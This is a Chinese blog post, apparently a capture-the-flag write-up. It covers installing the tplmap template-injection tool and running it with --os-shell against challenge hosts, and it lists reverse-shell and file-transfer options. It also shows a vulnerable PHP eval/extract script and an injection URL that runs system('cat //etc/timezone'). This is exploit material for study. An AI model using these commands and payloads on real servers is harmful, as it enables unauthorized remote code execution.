其他分享
首页 > 其他分享> > tqlmap模板注入脚本的安装和使用

tqlmap模板注入脚本的安装和使用

作者:互联网

tqlmap的安装和使用

tql是用python2编写的

以下操作均在centos7的环境下操作

git clone https://github.com/epinna/tplmap

cd tplmap

sudo yum install python-pip -y #安装py2的pip

pip install -r requirements.txt
#探测注入点
./tplmap.py -u 'http://114.67.246.176:17787/?flag'
#获取shell


./tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell

--os-shell                          Run shell on the target
--os-cmd                            Execute shell commands
--bind-shell PORT                   Connect to a shell bind to a target port
--reverse-shell HOST PORT   Send a shell back to the attacker's port
--upload LOCAL REMOTE       Upload files to the server
--download REMOTE LOCAL     Download remote files

php应用实例

extract()

解析传入的值

extract($_GET);
extract($_POST);

error_reporting() 函数

<?php
 // 关闭错误报告
 error_reporting(0);

 // 报告 runtime 错误
 error_reporting(E_ERROR | E_WARNING | E_PARSE);

 // 报告所有错误
 error_reporting(E_ALL);

 // 等同 error_reporting(E_ALL);
 ini_set("error_reporting", E_ALL);

 // 报告 E_NOTICE 之外的所有错误
 error_reporting(E_ALL & ~E_NOTICE);
?> 

题目

<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
    if($data == '') return array();
    @eval("\$array = $data;");
    return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
    $attrstr .= 'array(';
    $attrids = count($attrid);
    for($i=0; $i<$attrids; $i++)
    {
        $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
        if($i < $attrids-1)
        {
            $attrstr .= ',';
        }
    }
    $attrstr .= ');';
}

String2Array($attrstr);

解法

构造url进行注入获取权限

?attrid[0]=1&attrvalue[0]=1&attrstr=phpinfo();

丢进tplmap获取shell权限

cd ~/tplmap/tplmap
python tplmap -u "http://dd99644f-c8ac-4214-9d37-0699eea59b19.node4.buuoj.cn:81/" --os-shell

原理

eval函数会执行php函数
eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
system函数

注意,system()会将shell命令执行之后,立马显示结果,这一点会比较不方便,因为我们有时候不需要结果立马输出,甚至不需要输出,于是可以用到exec()

所以执行以下url

cf307529-9fc9-409e-a14b-7a4c0d2d8a3d.node4.buuoj.cn:81/?attrid[0]=1&attrvalue[0]=1&attrstr=system(%27cat%20//etc/timezone%27);

得到flag

image-20211024183553624

标签:脚本,shell,函数,--,tplmap,attrstr,tqlmap,os,模板
来源: https://www.cnblogs.com/ktsm/p/15472440.html